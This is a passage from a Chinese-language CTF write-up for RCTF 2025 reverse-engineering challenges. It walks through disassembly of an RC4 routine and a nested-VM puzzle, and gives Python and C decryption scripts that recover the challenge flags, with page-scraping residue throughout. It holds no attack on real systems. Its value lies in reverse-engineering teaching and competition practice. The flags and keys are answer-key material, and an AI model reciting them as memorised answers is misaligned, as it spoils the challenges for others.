S[i].text:00401847&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; edx, [ebp+arg_4].text:0040184A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; edx, [ebp+var_C] &nbsp; &nbsp;; key[j].text:0040184D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; eax, byte ptr [edx].text:00401850&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; eax, [ebp+var_10].text:00401853&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; eax, [ebp+var_8].text:00401856&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_8], eax &nbsp; &nbsp;; j += S[i] + key[i%keylen].text:00401859&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, [ebp+var_8].text:0040185C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;and&nbsp; &nbsp; &nbsp;ecx,&nbsp;0FFh.text:00401862&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_8], ecx &nbsp; &nbsp;; j &=&nbsp;0xFF...; 然后交换 S[i], S[j]

sub_4018A0是 PRGA，输出密钥流并 XOR 数据

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004018A6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, [ebp+arg_0].text:004018A9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_4], eax &nbsp; &nbsp; &nbsp;; S base.text:004018AC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, [ebp+arg_0].text:004018AF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; edx, byte ptr [ecx+100h].text:004018B6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_8], edx &nbsp; &nbsp; &nbsp;; i.text:004018B9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, [ebp+arg_0].text:004018BC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; ecx, byte ptr [eax+101h].text:004018C3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_C], ecx &nbsp; &nbsp; &nbsp;; j....text:004018D5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; [ebp+var_18],&nbsp;0.text:004018D9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jz &nbsp; &nbsp; &nbsp;short loc_401955 &nbsp; &nbsp; &nbsp;; 长度耗尽结束.text:004018DB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, [ebp+var_8].text:004018DE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; ecx,&nbsp;1.text:004018E1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;and&nbsp; &nbsp; &nbsp;ecx,&nbsp;0FFh.text:004018E7&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_8], ecx &nbsp; &nbsp; &nbsp;; i = (i+1)&0xFF.text:004018EA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, [ebp+var_4].text:004018ED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; edx, [ebp+var_8].text:004018F0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; eax, byte ptr [edx].text:004018F3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_10], eax &nbsp; &nbsp; ; S[i].text:004018F6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, [ebp+var_C].text:004018F9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; ecx, [ebp+var_10].text:004018FC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;and&nbsp; &nbsp; &nbsp;ecx,&nbsp;0FFh.text:00401902&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_C], ecx &nbsp; &nbsp; &nbsp;; j = (j+S[i])&0xFF...; 交换 S[i], S[j]，然后：.text:00401927&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; edx, [ebp+var_10].text:0040192A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; edx, [ebp+var_14].text:0040192D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;and&nbsp; &nbsp; &nbsp;edx,&nbsp;0FFh.text:00401933&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+var_4].text:00401936&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;movzx &nbsp; ecx, byte ptr [eax+edx] ; S[(S[i]+S[j])&0xFF].text:0040193A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, [ebp+arg_4].text:0040193D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; eax, byte ptr [edx].text:00401940&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor&nbsp; &nbsp; &nbsp;eax, ecx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; data ^= K.text:00401942&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, [ebp+arg_4].text:00401945&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ecx], al.text:00401947&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; edx, [ebp+arg_4].text:0040194A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; edx,&nbsp;1.text:0040194D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+arg_4], edx &nbsp; &nbsp; &nbsp;; data++.text:00401950&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; loc_4018C6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; 继续下一个字节

最终exp：

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linekey_str =&nbsp;b"flag:{ThisflagIsGoods}"KEY_LEN =&nbsp;0x80key =&nbsp;bytearray(key_str +&nbsp;b"\x00"&nbsp;* (KEY_LEN -&nbsp;len(key_str)))cipher =&nbsp;bytes([&nbsp; &nbsp;&nbsp;0x0f,&nbsp;0x1a,&nbsp;0x8a,&nbsp;0x5a,&nbsp;0x22,&nbsp;0xab,&nbsp;0x1e,&nbsp;0x63,&nbsp; &nbsp;&nbsp;0x19,&nbsp;0x5a,&nbsp;0x87,&nbsp;0xf2,&nbsp;0xe6,&nbsp;0xe9,&nbsp;0xd7,&nbsp;0xd1,&nbsp; &nbsp;&nbsp;0x97,&nbsp;0xf9,&nbsp;0xf8,&nbsp;0x32,&nbsp;0x5b,&nbsp;0xde,&nbsp;0x2d,&nbsp;0xd6,&nbsp; &nbsp;&nbsp;0xa3,&nbsp;0x4f,&nbsp;0x7e,&nbsp;0xcb,&nbsp;0x61,&nbsp;0xb2,&nbsp;0x3f,&nbsp;0xbf,&nbsp; &nbsp;&nbsp;0xb7,&nbsp;0x1b,&nbsp;0x0a,&nbsp;0x84,&nbsp;0xb3,&nbsp;0xb4,&nbsp;0xde,&nbsp;0x03,&nbsp; &nbsp;&nbsp;0x46,&nbsp;0x7b,&nbsp;0x83,&nbsp;0x2a,&nbsp;0x51,&nbsp;0x73,&nbsp;0xe0,&nbsp;0x7c,&nbsp; &nbsp;&nbsp;0x93,&nbsp;0x27,&nbsp;0x44,&nbsp;0x9c,&nbsp;0x56,&nbsp;0x8f,&nbsp;0x75,&nbsp;0xfa,&nbsp; &nbsp;&nbsp;0xa0,&nbsp;0x79,&nbsp;0x26,&nbsp;0xda,&nbsp;0x08,&nbsp;0x01,&nbsp;0x85,&nbsp;0x66,&nbsp; &nbsp;&nbsp;0x7d,&nbsp;0xbb,&nbsp;0xee,&nbsp;0x0f,&nbsp;0x89,&nbsp;0x59,&nbsp;0xd4,&nbsp;0x5f,&nbsp; &nbsp;&nbsp;0xac,&nbsp;0x18,&nbsp;0xae,&nbsp;0x0b,&nbsp;0x4e,&nbsp;0xf0,&nbsp;0xb7,&nbsp;0xdd,&nbsp; &nbsp;&nbsp;0xdd,&nbsp;0x55,&nbsp;0x4b,&nbsp;0xea,&nbsp;0x07,&nbsp;0x92,&nbsp;0x5c,&nbsp;0x8a,&nbsp; &nbsp;&nbsp;0x53,&nbsp;0xf3,&nbsp;0xff,&nbsp;0xf7,&nbsp;0xa7,&nbsp;0xdd,&nbsp;0x2e,&nbsp;0xe6,&nbsp; &nbsp;&nbsp;0xed,&nbsp;0x0f,&nbsp;0x77,&nbsp;0x2c,&nbsp;0x4a,&nbsp;0x22,&nbsp;0xf1,&nbsp;0x36,&nbsp; &nbsp;&nbsp;0x4f,&nbsp;0xa7,&nbsp;0x55,&nbsp;0x5e,&nbsp;0x3e,&nbsp;0x93,&nbsp;0xa4,&nbsp;0x34,&nbsp; &nbsp;&nbsp;0x29,&nbsp;0x67,&nbsp;0xfc,&nbsp;0x23,&nbsp;0x79,&nbsp;0x19,&nbsp;0xd8,&nbsp;0xc9,&nbsp; &nbsp;&nbsp;0x2b,&nbsp;0xcf,])
def&nbsp;rc4_ksa(key_bytes):&nbsp; &nbsp; S =&nbsp;list(range(256))&nbsp; &nbsp; j =&nbsp;0&nbsp; &nbsp; keylen =&nbsp;len(key_bytes)&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(256):&nbsp; &nbsp; &nbsp; &nbsp; j = (j + S[i] + key_bytes[i % keylen]) &&nbsp;0xFF&nbsp; &nbsp; &nbsp; &nbsp; S[i], S[j] = S[j], S[i]&nbsp; &nbsp;&nbsp;return&nbsp;S
def&nbsp;rc4_prga(S, data):&nbsp; &nbsp; i = j =&nbsp;0&nbsp; &nbsp; out =&nbsp;bytearray()&nbsp; &nbsp;&nbsp;for&nbsp;b&nbsp;in&nbsp;data:&nbsp; &nbsp; &nbsp; &nbsp; i = (i +&nbsp;1) &&nbsp;0xFF&nbsp; &nbsp; &nbsp; &nbsp; j = (j + S[i]) &&nbsp;0xFF&nbsp; &nbsp; &nbsp; &nbsp; S[i], S[j] = S[j], S[i]&nbsp; &nbsp; &nbsp; &nbsp; k = S[(S[i] + S[j]) &&nbsp;0xFF]&nbsp; &nbsp; &nbsp; &nbsp; out.append(b ^ k)&nbsp; &nbsp;&nbsp;return&nbsp;bytes(out)
S = rc4_ksa(key)plain = rc4_prga(S, cipher)print(plain)"""b'RCTF{AntiDbg_Reversing_2025_v2.0_Ch4llenge}\xda\x95\xc0K\x07\xba\x9b[b\xdc\xf6S \xa8x\xa3\xbcu\xbaki\xf4\xe2:P%AzT\xe2\xe8\x19\x0e\x12q\xb3ByI\x16J\xbe\x95\xce\xd6\xd9\xa0\x0c\x08Pz\xf3\xc8\x0b\xe2x[fh\xd3\xc7y\xe8\xf2\xb03E\xa0G|9\xc2\xb0\xdd-\xf1\xae\xd7\xec'"""

Onion

vm 套娃

输入一堆数，加密顺序为

简易运算加密

类tea，魔改好多，问ai说是speck

明文加密结果与密文进行校验然后作为key解密下一段vmcode。

循环往复，如此套娃。

思路是，解决第一个数，后面用同样的方法进行能工智人即可，全自动化不会。

解决第一个数

首先是还原指令流，一般两种方法，写代码模拟或者trace打log。

此处使用后者。

然后队友使用强大的钞能力进行了一波ai分析。得到第一层的大体逻辑。

ai分析得到了上面概述说的大体流程，当然也结合了一些经验。

so，第二步，解密第一个数。

解密两步走

从log中提取关键值。
还原解密代码

第一步，从log中提取关键值。

需要提取的有简易运算加密的参数，以及speck的参数。

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line00010223    .text:vm_execute+A96 &nbsp; &nbsp;  mov &nbsp; &nbsp; rax, [rax+rcx] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RAX=48F0E6421AC66DEA&nbsp;00010223  .text:vm_execute+60B &nbsp; &nbsp;  mov &nbsp; &nbsp; rcx, [rsp+rdi*8+328h+s]   RCX=48F0E6421AC66DEA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  00010223    .text:vm_execute+613&nbsp; &nbsp;   mov &nbsp; &nbsp; rdx, rcx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  RDX=48F0E6421AC66DEA
key0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;0x36B1CC9FE433713D&nbsp; 提取于：00010223    .text:vm_execute:loc_55555556BE01   mov &nbsp; &nbsp; rax, [rax+rcx];&nbsp;opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器   RAX=36B1CC9FE433713Dkey1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;0xF97646D69C84EBD8&nbsp; 提取于：00010223   .text:vm_execute:loc_55555556BE01   mov &nbsp; &nbsp; rax, [rax+rcx];&nbsp;opcode 0x18: MOV reg, [BP+addr] - 从内存[BP+offset]加载到寄存器   RAX=F97646D69C84EBD8

第二步

解密脚本如下

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line#include&nbsp;<stdio.h>#include&nbsp;<stdint.h>
// 32位循环移位uint32_t&nbsp;ror32(uint32_t&nbsp;v,&nbsp;int&nbsp;s) { s &=&nbsp;31;&nbsp;return&nbsp;(v >> s) | (v << (32&nbsp;- s)); }uint32_t&nbsp;rol32(uint32_t&nbsp;v,&nbsp;int&nbsp;s) { s &=&nbsp;31;&nbsp;return&nbsp;(v << s) | (v >> (32&nbsp;- s)); }
// speck解密uint64_t&nbsp;vm_tea_decrypt(uint64_t&nbsp;input) {&nbsp; &nbsp;&nbsp;uint32_t&nbsp;v0 = input &&nbsp;0xFFFFFFFF;&nbsp; &nbsp;&nbsp;uint32_t&nbsp;v1 = (input >>&nbsp;32) &&nbsp;0xFFFFFFFF;&nbsp; &nbsp;&nbsp;uint32_t&nbsp;keys[27];&nbsp; &nbsp;&nbsp;uint32_t&nbsp;r2 =&nbsp;0xE433713D, r3 =&nbsp;0x36B1CC9F, r4 =&nbsp;0x9C84EBD8, r5 =&nbsp;0xF97646D6;&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;27; i++) {&nbsp; &nbsp; &nbsp; &nbsp; keys[i] = r2;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(i <&nbsp;26) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;t0 =&nbsp;ror32(r3,&nbsp;8) + r2;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t0 ^= i;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32_t&nbsp;t1 =&nbsp;rol32(r2,&nbsp;3) ^ t0;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r2 = t1; r3 = r4; r4 = r5; r5 = t0;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;26; i >=&nbsp;0; i--) {&nbsp; &nbsp; &nbsp; &nbsp; v1 ^= v0;&nbsp; &nbsp; &nbsp; &nbsp; v1 =&nbsp;ror32(v1,&nbsp;3);&nbsp; &nbsp; &nbsp; &nbsp; v0 ^= keys[i];&nbsp; &nbsp; &nbsp; &nbsp; v0 -= v1;&nbsp; &nbsp; &nbsp; &nbsp; v0 =&nbsp;rol32(v0,&nbsp;8);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;((uint64_t)v1 <<&nbsp;32) | v0;}
// reverseuint64_t&nbsp;reverse_xor(uint64_t&nbsp;v) {&nbsp; &nbsp; v ^=&nbsp;0x8CB331163A92FC19ULL;&nbsp; &nbsp; v +=&nbsp;0x5566488C9C5CF234ULL;&nbsp; &nbsp; v ^=&nbsp;0x5074D85B9194E696ULL;&nbsp; &nbsp; v +=&nbsp;0x48F0E6421AC66DEAULL;&nbsp; &nbsp;&nbsp;return&nbsp;v;}
int&nbsp;main() {&nbsp; &nbsp;&nbsp;uint64_t&nbsp;target =&nbsp;0xDA19BA6B81C83F61ULL;
&nbsp; &nbsp;&nbsp;uint64_t&nbsp;after_tea =&nbsp;vm_tea_decrypt(target);&nbsp; &nbsp;&nbsp;printf("TEA dec: 0x%016llx\n", after_tea);
&nbsp; &nbsp;&nbsp;uint64_t&nbsp;result =&nbsp;reverse_xor(after_tea);&nbsp; &nbsp;&nbsp;printf("Result: &nbsp;0x%016llx (%llu)\n", result, result);
&nbsp; &nbsp;&nbsp;return&nbsp;0;}

如此，我们就搓出来了。。。第一个数。那么剩下29个怎么办。能工智人，继续搓。

enc: 0xda19ba6b81c83f61 key:0x36b1cc9fe433713d,0xf97646d69c84ebd8

02= a28f38bd0463522c

enc: 0x659391a5dc3522b3 key:0x8d85b3156df9f721,0x28e3d33340bc0884

01= bf11b34d0ce941cc

enc: 0x5538224d4c7a252akey:0x1d1a63b571be74bc,0x3e36eee3aac04cfd

14= ef320f9e6ae31520

enc: 0x9766ec5e9e3303c0key:0x66a2d5250151c6d, 0x6d20bd39b0f2badc

11= 36646367b78c2f91

以下省略

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineba610b6c5d80c91abf11b34d0ce941cca28f38bd0463522c79ed5d84199dd9cb4d9c56b2a1d77a0dfe13c54ceb12fea8494a63fc85b9953aad1f6be84bbb4680cd05f91609d653fa55493aa141fbe86f25bc9aff736b80a8d8817dda43824d2c5fcca9a9cb65130d6f3ed35da24dacfab5e1534e1dc36c87ac1b4e2750778a01c8f82d07316dcd3b36646367b78c2f919eed7637cd5eaa26ff546a0085041459ef320f9e6ae315201e00a4b9e25488f61a9a0626a035fb9de2f1eb0e5248cd2c8a0bf5239eed75c4749e8082db34037df4d25540ed584887c12422512500c8877e1a125dcfa56359497cff13eaa5bf76d51ceddab7795459a922933b0b315a10cabd557ffa1df043e0459b855188d04582700d6f6a986873c01552dff3a12f670615548ece7312fb0e189fa8296579138d4c8f2124957228451572c65bcb3425554fca602792e8794f749f6bbca2014cb1e1adc831c8d5679c73a6d3f711e66e2ab305ec4e07b0b498a16d274bb044d2c409de0e72c1029e5e68e47d3a360a80a1570f48caceb3ddd6ab1c9a18ebb936RCTF{VM_ALU_SMC_RC4_SPECK!_593eb6079d2da6c187ed462b033fee34}

下次碰到套娃题，一定写解释器模拟自动化((

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱：

[email protected]

责任编辑：@Neko205

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：星盟安全 @星盟安全团队《RCTF2025-WP》

Tags: CTF WEB安全二进制安全漏洞POC 逆向分析

你可能错过

OpenMontage：59k+ Stars 开源 Agentic 视频生产系统

收到欧盟CERT漏洞通知邮件怎么办？制造商必读的CRA合规应对指南

Cisco邮件网关9.8分漏洞被在野利用：一封邮件直接拿root，没有任何绕过的余地

RSIAgent：无训练多智能体框架实现新环境递归自改进